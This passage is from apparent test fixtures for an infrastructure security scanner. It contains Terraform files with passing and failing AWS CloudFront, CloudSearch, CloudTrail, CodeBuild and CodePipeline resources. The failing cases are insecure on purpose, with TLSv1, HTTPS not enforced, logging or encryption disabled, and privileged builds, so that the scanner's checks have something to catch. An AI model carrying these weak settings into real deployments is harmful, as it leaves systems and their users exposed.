var.default_behaviour.forward\n      }\n    }\n\n    viewer_protocol_policy = \"allow-all\"\n    min_ttl                = var.default_behaviour.min_ttl\n    default_ttl            = var.default_behaviour.default_ttl\n    max_ttl                = var.default_behaviour.max_ttl\n  }\n\n  dynamic \"ordered_cache_behavior\" {\n    for_each = var.behaviours\n    content {\n      path_pattern     = ordered_cache_behavior.value[\"path_pattern\"]\n      allowed_methods  = ordered_cache_behavior.value[\"allowed_methods\"]\n      cached_methods   = ordered_cache_behavior.value[\"cached_methods\"]\n      target_origin_id = ordered_cache_behavior.value[\"origin_id\"]\n      forwarded_values {\n        headers      = ordered_cache_behavior.value[\"headers\"]\n        query_string = ordered_cache_behavior.value[\"query_string\"]\n        cookies {\n          forward = ordered_cache_behavior.value[\"forward\"]\n        }\n      }\n      min_ttl                = ordered_cache_behavior.value[\"min_ttl\"]\n      default_ttl            = ordered_cache_behavior.value[\"default_ttl\"]\n      max_ttl                = ordered_cache_behavior.value[\"max_ttl\"]\n      compress               = ordered_cache_behavior.value[\"compress\"]\n      viewer_protocol_policy = \"allow-all\"\n    }\n  }\n\n  price_class = \"PriceClass_200\"\n\n  restrictions {\n    geo_restriction {\n      restriction_type = var.geo_restrictions[\"restriction_type\"]\n      locations        = var.geo_restrictions[\"locations\"]\n    }\n  }\n\n  viewer_certificate {\n    cloudfront_default_certificate = var.viewer_certificate[\"cloudfront_default_certificate\"]\n    minimum_protocol_version       = var.viewer_certificate[\"minimum_protocol_version\"]\n  }\n\n  lifecycle {\n    ignore_changes = [tags]\n  }\n  tags = {\n    \"key\" = \"value\"\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_CloudfrontDistributionOriginFailover/main.tf",
    "content": "resource \"aws_cloudfront_distribution\" \"pass\" {\n  origin_group {\n    origin_id = \"groupS3\"\n\n    failover_criteria {\n      status_codes = [403, 404, 500, 502]\n    }\n\n    member {\n      origin_id = \"primaryS3\"\n    }\n\n    member {\n      origin_id = \"failoverS3\"\n    }\n  }\n\n  origin {\n    domain_name = aws_s3_bucket.primary.bucket_regional_domain_name\n    origin_id   = \"primaryS3\"\n\n    s3_origin_config {\n      origin_access_identity = aws_cloudfront_origin_access_identity.default.cloudfront_access_identity_path\n    }\n  }\n\n  origin {\n    domain_name = aws_s3_bucket.failover.bucket_regional_domain_name\n    origin_id   = \"failoverS3\"\n\n    s3_origin_config {\n      origin_access_identity = aws_cloudfront_origin_access_identity.default.cloudfront_access_identity_path\n    }\n  }\n\n  default_cache_behavior {\n    # ... other configuration ...\n    target_origin_id = \"groupS3\"\n  }\n\n  enabled = false\n  restrictions {}\n  viewer_certificate {}\n}\n\nresource \"aws_cloudfront_distribution\" \"fail\" {\n  origin {\n    domain_name = aws_s3_bucket.primary.bucket_regional_domain_name\n    origin_id   = \"myS3Origin\"\n\n    s3_origin_config {\n      origin_access_identity = aws_cloudfront_origin_access_identity.default.cloudfront_access_identity_path\n    }\n  }\n  enabled             = true\n  is_ipv6_enabled     = true\n  comment             = \"Some comment\"\n  default_root_object = \"index.html\"\n\n  # AWS Managed Caching Polify (CachingDisabled)\n  default_cache_behavior {\n    # Using the CachingDisabled managed policy ID:\n    cache_policy_id  = \"4135ea2d-6df8-44a3-9df3-4b5a84be39a\"\n    allowed_methods  = [\"GET\", \"HEAD\", \"OPTIONS\"]\n    path_pattern     = \"/content/*\"\n    target_origin_id = local.s3_origin_id\n    cached_methods   = []\n    viewer_protocol_policy = \"\"\n  }\n\n  restrictions {\n    geo_restriction {\n      restriction_type = \"whitelist\"\n      locations        = [\"US\", \"CA\", \"GB\", \"DE\"]\n    }\n  }\n\n  viewer_certificate {\n    cloudfront_default_certificate = true\n  }\n}\n\nresource \"aws_cloudfront_distribution\" \"fail2\" {\n  origin_group {\n    origin_id = \"groupS3\"\n\n    member {\n      origin_id = \"primaryS3\"\n    }\n\n    member {\n      origin_id = \"failoverS3\"\n    }\n  }\n\n  origin {\n    domain_name = aws_s3_bucket.primary.bucket_regional_domain_name\n    origin_id   = \"primaryS3\"\n\n    s3_origin_config {\n      origin_access_identity = aws_cloudfront_origin_access_identity.default.cloudfront_access_identity_path\n    }\n  }\n\n  origin {\n    domain_name = aws_s3_bucket.failover.bucket_regional_domain_name\n    origin_id   = \"failoverS3\"\n\n    s3_origin_config {\n      origin_access_identity = aws_cloudfront_origin_access_identity.default.cloudfront_access_identity_path\n    }\n  }\n\n  default_cache_behavior {\n    # ... other configuration ...\n    target_origin_id = \"groupS3\"\n  }\n\n  enabled = false\n  restrictions {}\n  viewer_certificate {}\n}\n\nresource \"aws_cloudfront_distribution\" \"fail3\" {\n  origin_group {\n    origin_id = \"groupS3\"\n\n    failover_criteria {\n      status_codes = [403, 404, 500, 502]\n    }\n\n  }\n\n  origin {\n    domain_name = aws_s3_bucket.primary.bucket_regional_domain_name\n    origin_id   = \"primaryS3\"\n\n    s3_origin_config {\n      origin_access_identity = aws_cloudfront_origin_access_identity.default.cloudfront_access_identity_path\n    }\n  }\n\n  origin {\n    domain_name = aws_s3_bucket.failover.bucket_regional_domain_name\n    origin_id   = \"failoverS3\"\n\n    s3_origin_config {\n      origin_access_identity = aws_cloudfront_origin_access_identity.default.cloudfront_access_identity_path\n    }\n  }\n\n  default_cache_behavior {\n    # ... other configuration ...\n    target_origin_id = \"groupS3\"\n  }\n\n  enabled = false\n  restrictions {}\n  viewer_certificate {}\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_CloudfrontTLS12/main.tf",
    "content": "resource \"aws_cloudfront_distribution\" \"fail\" {\n  origin {\n    domain_name = aws_s3_bucket.b.bucket_regional_domain_name\n    origin_id   = local.s3_origin_id\n\n    s3_origin_config {\n      origin_access_identity = \"origin-access-identity/cloudfront/ABCDEFG1234567\"\n    }\n  }\n\n  enabled             = true\n  is_ipv6_enabled     = true\n  comment             = \"Some comment\"\n  default_root_object = \"index.html\"\n\n  logging_config {\n    include_cookies = false\n    bucket          = \"mylogs.s3.amazonaws.com\"\n    prefix          = \"myprefix\"\n  }\n\n  aliases = [\"mysite.example.com\", \"yoursite.example.com\"]\n\n  default_cache_behavior {\n    allowed_methods  = [\"DELETE\", \"GET\", \"HEAD\", \"OPTIONS\", \"PATCH\", \"POST\", \"PUT\"]\n    cached_methods   = [\"GET\", \"HEAD\"]\n    target_origin_id = local.s3_origin_id\n\n    forwarded_values {\n      query_string = false\n\n      cookies {\n        forward = \"none\"\n      }\n    }\n\n    viewer_protocol_policy = \"allow-all\"\n    min_ttl                = 0\n    default_ttl            = 3600\n    max_ttl                = 86400\n  }\n\n  # Cache behavior with precedence 0\n  ordered_cache_behavior {\n    path_pattern     = \"/content/immutable/*\"\n    allowed_methods  = [\"GET\", \"HEAD\", \"OPTIONS\"]\n    cached_methods   = [\"GET\", \"HEAD\", \"OPTIONS\"]\n    target_origin_id = local.s3_origin_id\n\n    forwarded_values {\n      query_string = false\n      headers      = [\"Origin\"]\n\n      cookies {\n        forward = \"none\"\n      }\n    }\n\n    min_ttl                = 0\n    default_ttl            = 86400\n    max_ttl                = 31536000\n    compress               = true\n    viewer_protocol_policy = \"redirect-to-https\"\n  }\n\n  # Cache behavior with precedence 1\n  ordered_cache_behavior {\n    path_pattern     = \"/content/*\"\n    allowed_methods  = [\"GET\", \"HEAD\", \"OPTIONS\"]\n    cached_methods   = [\"GET\", \"HEAD\"]\n    target_origin_id = local.s3_origin_id\n\n    forwarded_values {\n      query_string = false\n\n      cookies {\n        forward = \"none\"\n      }\n    }\n\n    min_ttl                = 0\n    default_ttl            = 3600\n    max_ttl                = 86400\n    compress               = true\n    viewer_protocol_policy = \"redirect-to-https\"\n  }\n\n  price_class = \"PriceClass_200\"\n\n  restrictions {\n    geo_restriction {\n      restriction_type = \"whitelist\"\n      locations        = [\"US\", \"CA\", \"GB\", \"DE\"]\n    }\n  }\n\n  tags = {\n    Environment = \"production\"\n  }\n\n  viewer_certificate {\n    cloudfront_default_certificate = true\n  }\n}\n\nresource \"aws_cloudfront_distribution\" \"fail2\" {\n  origin {\n    domain_name = aws_s3_bucket.b.bucket_regional_domain_name\n    origin_id   = local.s3_origin_id\n\n    s3_origin_config {\n      origin_access_identity = \"origin-access-identity/cloudfront/ABCDEFG1234567\"\n    }\n  }\n\n  enabled             = true\n  is_ipv6_enabled     = true\n  comment             = \"Some comment\"\n  default_root_object = \"index.html\"\n\n  logging_config {\n    include_cookies = false\n    bucket          = \"mylogs.s3.amazonaws.com\"\n    prefix          = \"myprefix\"\n  }\n\n  aliases = [\"mysite.example.com\", \"yoursite.example.com\"]\n\n  default_cache_behavior {\n    allowed_methods  = [\"DELETE\", \"GET\", \"HEAD\", \"OPTIONS\", \"PATCH\", \"POST\", \"PUT\"]\n    cached_methods   = [\"GET\", \"HEAD\"]\n    target_origin_id = local.s3_origin_id\n\n    forwarded_values {\n      query_string = false\n\n      cookies {\n        forward = \"none\"\n      }\n    }\n\n    viewer_protocol_policy = \"allow-all\"\n    min_ttl                = 0\n    default_ttl            = 3600\n    max_ttl                = 86400\n  }\n\n  # Cache behavior with precedence 0\n  ordered_cache_behavior {\n    path_pattern     = \"/content/immutable/*\"\n    allowed_methods  = [\"GET\", \"HEAD\", \"OPTIONS\"]\n    cached_methods   = [\"GET\", \"HEAD\", \"OPTIONS\"]\n    target_origin_id = local.s3_origin_id\n\n    forwarded_values {\n      query_string = false\n      headers      = [\"Origin\"]\n\n      cookies {\n        forward = \"none\"\n      }\n    }\n\n    min_ttl                = 0\n    default_ttl            = 86400\n    max_ttl                = 31536000\n    compress               = true\n    viewer_protocol_policy = \"redirect-to-https\"\n  }\n\n  # Cache behavior with precedence 1\n  ordered_cache_behavior {\n    path_pattern     = \"/content/*\"\n    allowed_methods  = [\"GET\", \"HEAD\", \"OPTIONS\"]\n    cached_methods   = [\"GET\", \"HEAD\"]\n    target_origin_id = local.s3_origin_id\n\n    forwarded_values {\n      query_string = false\n\n      cookies {\n        forward = \"none\"\n      }\n    }\n\n    min_ttl                = 0\n    default_ttl            = 3600\n    max_ttl                = 86400\n    compress               = true\n    viewer_protocol_policy = \"redirect-to-https\"\n  }\n\n  price_class = \"PriceClass_200\"\n\n  restrictions {\n    geo_restriction {\n      restriction_type = \"whitelist\"\n      locations        = [\"US\", \"CA\", \"GB\", \"DE\"]\n    }\n  }\n\n  tags = {\n    Environment = \"production\"\n  }\n\n  viewer_certificate {\n    cloudfront_default_certificate = false\n    minimum_protocol_version       = \"TLSv1\"\n  }\n}\n\nresource \"aws_cloudfront_distribution\" \"fail3\" {\n  origin {\n    domain_name = aws_s3_bucket.b.bucket_regional_domain_name\n    origin_id   = local.s3_origin_id\n\n    s3_origin_config {\n      origin_access_identity = \"origin-access-identity/cloudfront/ABCDEFG1234567\"\n    }\n  }\n\n  enabled             = true\n  is_ipv6_enabled     = true\n  comment             = \"Some comment\"\n  default_root_object = \"index.html\"\n\n  logging_config {\n    include_cookies = false\n    bucket          = \"mylogs.s3.amazonaws.com\"\n    prefix          = \"myprefix\"\n  }\n\n  aliases = [\"mysite.example.com\", \"yoursite.example.com\"]\n\n  default_cache_behavior {\n    allowed_methods  = [\"DELETE\", \"GET\", \"HEAD\", \"OPTIONS\", \"PATCH\", \"POST\", \"PUT\"]\n    cached_methods   = [\"GET\", \"HEAD\"]\n    target_origin_id = local.s3_origin_id\n\n    forwarded_values {\n      query_string = false\n\n      cookies {\n        forward = \"none\"\n      }\n    }\n\n    viewer_protocol_policy = \"allow-all\"\n    min_ttl                = 0\n    default_ttl            = 3600\n    max_ttl                = 86400\n  }\n\n  # Cache behavior with precedence 0\n  ordered_cache_behavior {\n    path_pattern     = \"/content/immutable/*\"\n    allowed_methods  = [\"GET\", \"HEAD\", \"OPTIONS\"]\n    cached_methods   = [\"GET\", \"HEAD\", \"OPTIONS\"]\n    target_origin_id = local.s3_origin_id\n\n    forwarded_values {\n      query_string = false\n      headers      = [\"Origin\"]\n\n      cookies {\n        forward = \"none\"\n      }\n    }\n\n    min_ttl                = 0\n    default_ttl            = 86400\n    max_ttl                = 31536000\n    compress               = true\n    viewer_protocol_policy = \"redirect-to-https\"\n  }\n\n  # Cache behavior with precedence 1\n  ordered_cache_behavior {\n    path_pattern     = \"/content/*\"\n    allowed_methods  = [\"GET\", \"HEAD\", \"OPTIONS\"]\n    cached_methods   = [\"GET\", \"HEAD\"]\n    target_origin_id = local.s3_origin_id\n\n    forwarded_values {\n      query_string = false\n\n      cookies {\n        forward = \"none\"\n      }\n    }\n\n    min_ttl                = 0\n    default_ttl            = 3600\n    max_ttl                = 86400\n    compress               = true\n    viewer_protocol_policy = \"redirect-to-https\"\n  }\n\n  price_class = \"PriceClass_200\"\n\n  restrictions {\n    geo_restriction {\n      restriction_type = \"whitelist\"\n      locations        = [\"US\", \"CA\", \"GB\", \"DE\"]\n    }\n  }\n\n  tags = {\n    Environment = \"production\"\n  }\n\n  viewer_certificate {\n    cloudfront_default_certificate = false\n    //not specified is a fail as defaults to TLSv1\n    //minimum_protocol_version = \"TLSv1\"\n  }\n}\n\nresource \"aws_cloudfront_distribution\" \"pass\" {\n  origin {\n    domain_name = aws_s3_bucket.b.bucket_regional_domain_name\n    origin_id   = local.s3_origin_id\n\n    s3_origin_config {\n      origin_access_identity = \"origin-access-identity/cloudfront/ABCDEFG1234567\"\n    }\n  }\n\n  enabled             = true\n  is_ipv6_enabled     = true\n  comment             = \"Some comment\"\n  default_root_object = \"index.html\"\n\n  logging_config {\n    include_cookies = false\n    bucket          = \"mylogs.s3.amazonaws.com\"\n    prefix          = \"myprefix\"\n  }\n\n  aliases = [\"mysite.example.com\", \"yoursite.example.com\"]\n\n  default_cache_behavior {\n    allowed_methods  = [\"DELETE\", \"GET\", \"HEAD\", \"OPTIONS\", \"PATCH\", \"POST\", \"PUT\"]\n    cached_methods   = [\"GET\", \"HEAD\"]\n    target_origin_id = local.s3_origin_id\n\n    forwarded_values {\n      query_string = false\n\n      cookies {\n        forward = \"none\"\n      }\n    }\n\n    viewer_protocol_policy = \"allow-all\"\n    min_ttl                = 0\n    default_ttl            = 3600\n    max_ttl                = 86400\n  }\n\n  # Cache behavior with precedence 0\n  ordered_cache_behavior {\n    path_pattern     = \"/content/immutable/*\"\n    allowed_methods  = [\"GET\", \"HEAD\", \"OPTIONS\"]\n    cached_methods   = [\"GET\", \"HEAD\", \"OPTIONS\"]\n    target_origin_id = local.s3_origin_id\n\n    forwarded_values {\n      query_string = false\n      headers      = [\"Origin\"]\n\n      cookies {\n        forward = \"none\"\n      }\n    }\n\n    min_ttl                = 0\n    default_ttl            = 86400\n    max_ttl                = 31536000\n    compress               = true\n    viewer_protocol_policy = \"redirect-to-https\"\n  }\n\n  # Cache behavior with precedence 1\n  ordered_cache_behavior {\n    path_pattern     = \"/content/*\"\n    allowed_methods  = [\"GET\", \"HEAD\", \"OPTIONS\"]\n    cached_methods   = [\"GET\", \"HEAD\"]\n    target_origin_id = local.s3_origin_id\n\n    forwarded_values {\n      query_string = false\n\n      cookies {\n        forward = \"none\"\n      }\n    }\n\n    min_ttl                = 0\n    default_ttl            = 3600\n    max_ttl                = 86400\n    compress               = true\n    viewer_protocol_policy = \"redirect-to-https\"\n  }\n\n  price_class = \"PriceClass_200\"\n\n  restrictions {\n    geo_restriction {\n      restriction_type = \"whitelist\"\n      locations        = [\"US\", \"CA\", \"GB\", \"DE\"]\n    }\n  }\n\n  tags = {\n    Environment = \"production\"\n  }\n\n  viewer_certificate {\n    cloudfront_default_certificate = false\n    minimum_protocol_version       = \"TLSv1.2_2018\"\n  }\n}\n\nresource \"aws_cloudfront_distribution\" \"pass1\" {\n  origin {\n    domain_name = aws_s3_bucket.b.bucket_regional_domain_name\n    origin_id   = local.s3_origin_id\n\n    s3_origin_config {\n      origin_access_identity = \"origin-access-identity/cloudfront/ABCDEFG1234567\"\n    }\n  }\n\n  enabled             = true\n  is_ipv6_enabled     = true\n  comment             = \"Some comment\"\n  default_root_object = \"index.html\"\n\n  logging_config {\n    include_cookies = false\n    bucket          = \"mylogs.s3.amazonaws.com\"\n    prefix          = \"myprefix\"\n  }\n\n  aliases = [\"mysite.example.com\", \"yoursite.example.com\"]\n\n  default_cache_behavior {\n    allowed_methods  = [\"DELETE\", \"GET\", \"HEAD\", \"OPTIONS\", \"PATCH\", \"POST\", \"PUT\"]\n    cached_methods   = [\"GET\", \"HEAD\"]\n    target_origin_id = local.s3_origin_id\n\n    forwarded_values {\n      query_string = false\n\n      cookies {\n        forward = \"none\"\n      }\n    }\n\n    viewer_protocol_policy = \"allow-all\"\n    min_ttl                = 0\n    default_ttl            = 3600\n    max_ttl                = 86400\n  }\n\n  # Cache behavior with precedence 0\n  ordered_cache_behavior {\n    path_pattern     = \"/content/immutable/*\"\n    allowed_methods  = [\"GET\", \"HEAD\", \"OPTIONS\"]\n    cached_methods   = [\"GET\", \"HEAD\", \"OPTIONS\"]\n    target_origin_id = local.s3_origin_id\n\n    forwarded_values {\n      query_string = false\n      headers      = [\"Origin\"]\n\n      cookies {\n        forward = \"none\"\n      }\n    }\n\n    min_ttl                = 0\n    default_ttl            = 86400\n    max_ttl                = 31536000\n    compress               = true\n    viewer_protocol_policy = \"redirect-to-https\"\n  }\n\n  # Cache behavior with precedence 1\n  ordered_cache_behavior {\n    path_pattern     = \"/content/*\"\n    allowed_methods  = [\"GET\", \"HEAD\", \"OPTIONS\"]\n    cached_methods   = [\"GET\", \"HEAD\"]\n    target_origin_id = local.s3_origin_id\n\n    forwarded_values {\n      query_string = false\n\n      cookies {\n        forward = \"none\"\n      }\n    }\n\n    min_ttl                = 0\n    default_ttl            = 3600\n    max_ttl                = 86400\n    compress               = true\n    viewer_protocol_policy = \"redirect-to-https\"\n  }\n\n  price_class = \"PriceClass_200\"\n\n  restrictions {\n    geo_restriction {\n      restriction_type = \"whitelist\"\n      locations        = [\"US\", \"CA\", \"GB\", \"DE\"]\n    }\n  }\n\n  tags = {\n    Environment = \"production\"\n  }\n\n  viewer_certificate {\n    acm_certificate_arn      = aws_acm_certificate.cert.arn\n    ssl_support_method       = \"sni-only\"\n    minimum_protocol_version = \"TLSv1.2_2019\"\n  }\n}\n\nresource \"aws_cloudfront_distribution\" \"pass2\" {\n  origin {\n    domain_name = aws_s3_bucket.b.bucket_regional_domain_name\n    origin_id   = local.s3_origin_id\n\n    s3_origin_config {\n      origin_access_identity = \"origin-access-identity/cloudfront/ABCDEFG1234567\"\n    }\n  }\n\n  enabled             = true\n  is_ipv6_enabled     = true\n  default_root_object = \"index.html\"\n\n  default_cache_behavior {\n    allowed_methods        = [\"DELETE\", \"GET\", \"HEAD\", \"OPTIONS\", \"PATCH\", \"POST\", \"PUT\"]\n    cached_methods         = [\"GET\", \"HEAD\"]\n    target_origin_id       = local.s3_origin_id\n    viewer_protocol_policy = \"redirect-to-https\"\n    min_ttl                = 0\n    default_ttl            = 3600\n    max_ttl                = 86400\n  }\n\n  price_class = \"PriceClass_200\"\n\n  restrictions {\n    geo_restriction {\n      restriction_type = \"whitelist\"\n      locations        = [\"US\", \"CA\", \"GB\", \"DE\"]\n    }\n  }\n\n  viewer_certificate {\n    acm_certificate_arn      = aws_acm_certificate.cert.arn\n    ssl_support_method       = \"sni-only\"\n    minimum_protocol_version = \"TLSv1.3_2025\"\n  }\n}\n\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_CloudsearchDomainEnforceHttps/main.tf",
    "content": "resource \"aws_cloudsearch_domain\" \"fail\" {\n  name = \"example-domain\"\n\n  scaling_parameters {\n    desired_instance_type = \"search.medium\"\n  }\n\n  index_field {\n    name            = \"headline\"\n    type            = \"text\"\n    search          = true\n    return          = true\n    sort            = true\n    highlight       = false\n    analysis_scheme = \"_en_default_\"\n  }\n\n  index_field {\n    name   = \"price\"\n    type   = \"double\"\n    search = true\n    facet  = true\n    return = true\n    sort   = true\n  }\n  endpoint_options {\n    enforce_https       = false\n    tls_security_policy = \"Policy-Min-TLS-1-0-2019-07\"\n  }\n}\nresource \"aws_cloudsearch_domain\" \"fail2\" {\n  name = \"example-domain\"\n\n  scaling_parameters {\n    desired_instance_type = \"search.medium\"\n  }\n\n  index_field {\n    name            = \"headline\"\n    type            = \"text\"\n    search          = true\n    return          = true\n    sort            = true\n    highlight       = false\n    analysis_scheme = \"_en_default_\"\n  }\n\n  index_field {\n    name   = \"price\"\n    type   = \"double\"\n    search = true\n    facet  = true\n    return = true\n    sort   = true\n  }\n  endpoint_options {\n  }\n}\n\nresource \"aws_cloudsearch_domain\" \"pass\" {\n  name = \"example-domain\"\n\n  scaling_parameters {\n    desired_instance_type = \"search.medium\"\n  }\n\n  index_field {\n    name            = \"headline\"\n    type            = \"text\"\n    search          = true\n    return          = true\n    sort            = true\n    highlight       = false\n    analysis_scheme = \"_en_default_\"\n  }\n\n  index_field {\n    name   = \"price\"\n    type   = \"double\"\n    search = true\n    facet  = true\n    return = true\n    sort   = true\n  }\n  endpoint_options {\n    enforce_https       = true\n    tls_security_policy = \"Policy-Min-TLS-1-2-2019-07\"\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_CloudsearchDomainTLS/main.tf",
    "content": "resource \"aws_cloudsearch_domain\" \"fail\" {\n  name = \"example-domain\"\n\n  scaling_parameters {\n    desired_instance_type = \"search.medium\"\n  }\n\n  index_field {\n    name            = \"headline\"\n    type            = \"text\"\n    search          = true\n    return          = true\n    sort            = true\n    highlight       = false\n    analysis_scheme = \"_en_default_\"\n  }\n\n  index_field {\n    name   = \"price\"\n    type   = \"double\"\n    search = true\n    facet  = true\n    return = true\n    sort   = true\n  }\n  endpoint_options {\n    enforce_https       = false\n    tls_security_policy = \"Policy-Min-TLS-1-0-2019-07\"\n  }\n}\nresource \"aws_cloudsearch_domain\" \"fail2\" {\n  name = \"example-domain\"\n\n  scaling_parameters {\n    desired_instance_type = \"search.medium\"\n  }\n\n  index_field {\n    name            = \"headline\"\n    type            = \"text\"\n    search          = true\n    return          = true\n    sort            = true\n    highlight       = false\n    analysis_scheme = \"_en_default_\"\n  }\n\n  index_field {\n    name   = \"price\"\n    type   = \"double\"\n    search = true\n    facet  = true\n    return = true\n    sort   = true\n  }\n  endpoint_options {\n    enforce_https = false\n  }\n}\n\nresource \"aws_cloudsearch_domain\" \"pass\" {\n  name = \"example-domain\"\n\n  scaling_parameters {\n    desired_instance_type = \"search.medium\"\n  }\n\n  index_field {\n    name            = \"headline\"\n    type            = \"text\"\n    search          = true\n    return          = true\n    sort            = true\n    highlight       = false\n    analysis_scheme = \"_en_default_\"\n  }\n\n  index_field {\n    name   = \"price\"\n    type   = \"double\"\n    search = true\n    facet  = true\n    return = true\n    sort   = true\n  }\n  endpoint_options {\n    enforce_https       = false\n    tls_security_policy = \"Policy-Min-TLS-1-2-2019-07\"\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_CloudtrailDefinesSNSTopic/main.tf",
    "content": "resource \"aws_cloudtrail\" \"fail\" {\n  name                          = \"TRAIL\"\n  s3_bucket_name                = aws_s3_bucket.test.id\n  include_global_service_events = true\n  enable_logging                = false\n  is_multi_region_trail         = false\n  tags                          = { test = \"Fail\" }\n}\n\nresource \"aws_cloudtrail\" \"pass\" {\n  name                          = \"TRAIL\"\n  s3_bucket_name                = aws_s3_bucket.test.id\n  include_global_service_events = true\n  enable_logging                = false\n  is_multi_region_trail         = false\n  sns_topic_name                = aws_sns_topic.notes.arn\n  tags                          = { test = \"Fail\" }\n}\n\nresource \"aws_sns_topic\" \"notes\" {}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_CloudtrailEnableLogging/main.tf",
    "content": "resource \"aws_cloudtrail\" \"fail\" {\n  name                          = \"TRAIL\"\n  s3_bucket_name                = aws_s3_bucket.test.id\n  include_global_service_events = true\n  enable_logging = false\n}\n\nresource \"aws_cloudtrail\" \"pass\" {\n  name                          = \"TRAIL\"\n  s3_bucket_name                = aws_s3_bucket.test.id\n  include_global_service_events = true\n  enable_logging = true\n  kms_key_id                    = aws_kms_key.test.arn\n}\n\nresource \"aws_cloudtrail\" \"pass2\" {\n  name                          = \"TRAIL\"\n  s3_bucket_name                = aws_s3_bucket.test.id\n  include_global_service_events = true\n  kms_key_id                    = aws_kms_key.test.arn\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_CloudtrailEncryptedWithCMK/aws_cloudtrail.tf",
    "content": "resource \"aws_cloudtrail\" \"fail\" {\n  name                          = \"TRAIL\"\n  s3_bucket_name                = aws_s3_bucket.test.id\n  include_global_service_events = true\n}\n\nresource \"aws_cloudtrail\" \"pass\" {\n  name                          = \"TRAIL\"\n  s3_bucket_name                = aws_s3_bucket.test.id\n  include_global_service_events = true\n  kms_key_id                    = aws_kms_key.test.arn\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_CloudtrailEventDataStoreUsesCMK/main.tf",
    "content": "\nresource \"aws_cloudtrail_event_data_store\" \"pass\" {\n  name = \"pike-data-store\"\n  kms_key_id=aws_kms_key.pike.arn\n}\nresource \"aws_cloudtrail_event_data_store\" \"fail\" {\n  name = \"example-event-data-store\"\n}\nresource \"aws_cloudtrail_event_data_store\" \"fail2\" {\n  name = \"example-event-data-store\"\n  kms_key_id=\"\"\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_CodeArtifactDomainEncryptedWithCMK/main.tf",
    "content": "resource \"aws_codeartifact_domain\" \"fail\" {\n  domain = \"example\"\n  # encryption_key =\n  tags = {\n    \"key\" = \"value\"\n  }\n}\n\nresource \"aws_codeartifact_domain\" \"pass\" {\n  domain         = \"example\"\n  encryption_key = aws_kms_key.example.arn\n  tags = {\n    \"key\" = \"value\"\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_CodeBuildPrivilegedMode/main.tf",
    "content": "# pass\n\nresource \"aws_codebuild_project\" \"pass\" {\n  name         = \"example\"\n  service_role = \"aws_iam_role.example.arn\"\n\n  encryption_key = \"aws_kms_key.scanner_key.id\"\n\n  artifacts {\n    type = \"S3\"\n  }\n  environment {\n    compute_type = \"BUILD_GENERAL1_SMALL\"\n    image        = \"docker:dind\"\n    type         = \"LINUX_CONTAINER\"\n    privileged_mode = false\n  }\n  source {\n    type = \"NO_SOURCE\"\n  }\n}\n\nresource \"aws_codebuild_project\" \"pass2\" {\n  name         = \"example\"\n  service_role = \"aws_iam_role.example.arn\"\n\n  encryption_key = \"aws_kms_key.scanner_key.id\"\n\n  artifacts {\n    type = \"S3\"\n  }\n  environment {\n    compute_type = \"BUILD_GENERAL1_SMALL\"\n    image        = \"docker:dind\"\n    type         = \"LINUX_CONTAINER\"\n  }\n  source {\n    type = \"NO_SOURCE\"\n  }\n}\n\n# fail\n\nresource \"aws_codebuild_project\" \"fail\" {\n  name         = \"example\"\n  service_role = \"aws_iam_role.example.arn\"\n\n  artifacts {\n    type = \"S3\"\n  }\n  environment {\n    compute_type = \"BUILD_GENERAL1_SMALL\"\n    image        = \"docker:dind\"\n    type         = \"LINUX_CONTAINER\"\n    privileged_mode = true\n  }\n  source {\n    type = \"NO_SOURCE\"\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_CodeBuildProjectEncryption/main.tf",
    "content": "resource \"aws_codebuild_project\" \"fail\" {\n  name = \"fail-project\"\n  artifacts {\n    type                = S3\n    encryption_disabled = true\n  }\n\n}\n\nresource \"aws_codebuild_project\" \"no_artifacts_encryption_ignored\" {\n  name = \"no-art-project\"\n  artifacts {\n    type                = \"NO_ARTIFACTS\"\n    encryption_disabled = true\n  }\n}\n\nresource \"aws_codebuild_project\" \"success_no_encryption_disabled\" {\n  name = \"default-project\"\n  artifacts {\n    type = \"S3\"\n  }\n}\n\nresource \"aws_codebuild_project\" \"success\" {\n  name = \"success-project\"\n  artifacts {\n    type                = \"S3\"\n    encryption_disabled = false\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_CodePipelineArtifactsEncrypted/main.tf",
    "content": "\nresource \"aws_codepipeline\" \"pass\" {\n  name     = \"tf-test-pipeline\"\n  role_arn = aws_iam_role.codepipeline_role.arn\n\n  artifact_store {\n    location = aws_s3_bucket.codepipeline_bucket.bucket\n    type     = \"S3\"\n\n    encryption_key {\n      id   = data.aws_kms_alias.s3kmskey.arn\n      type = \"KMS\"\n    }\n  }\n\n  stage {\n    name = \"Source\"\n\n    action {\n      name             = \"Source\"\n      category         = \"Source\"\n      owner            = \"AWS\"\n      provider         = \"CodeStarSourceConnection\"\n      version          = \"1\"\n      output_artifacts = [\"source_output\"]\n\n      configuration = {\n        ConnectionArn    = aws_codestarconnections_connection.example.arn\n        FullRepositoryId = \"my-organization/example\"\n        BranchName       = \"main\"\n      }\n    }\n  }\n\n  stage {\n    name = \"Build\"\n\n    action {\n      name             = \"Build\"\n      category         = \"Build\"\n      owner            = \"AWS\"\n      provider         = \"CodeBuild\"\n      input_artifacts  = [\"source_output\"]\n      output_artifacts = [\"build_output\"]\n      version          = \"1\"\n\n      configuration = {\n        ProjectName = \"test\"\n      }\n    }\n  }\n\n  stage {\n    name = \"Deploy\"\n\n    action {\n      name            = \"Deploy\"\n      category        = \"Deploy\"\n      owner           = \"AWS\"\n      provider        = \"CloudFormation\"\n      input_artifacts = [\"build_output\"]\n      version         = \"1\"\n\n      configuration = {\n        ActionMode     = \"REPLACE_ON_FAILURE\"\n        Capabilities   = \"CAPABILITY_AUTO_EXPAND,CAPABILITY_IAM\"\n        OutputFileName = \"CreateStackOutput.json\"\n        StackName      = \"MyStack\"\n        TemplatePath   = \"build_output::sam-templated.yaml\"\n      }\n    }\n  }\n}\n\n\n\nresource \"aws_codepipeline\" \"fail\" {\n  name     = \"tf-test-pipeline\"\n  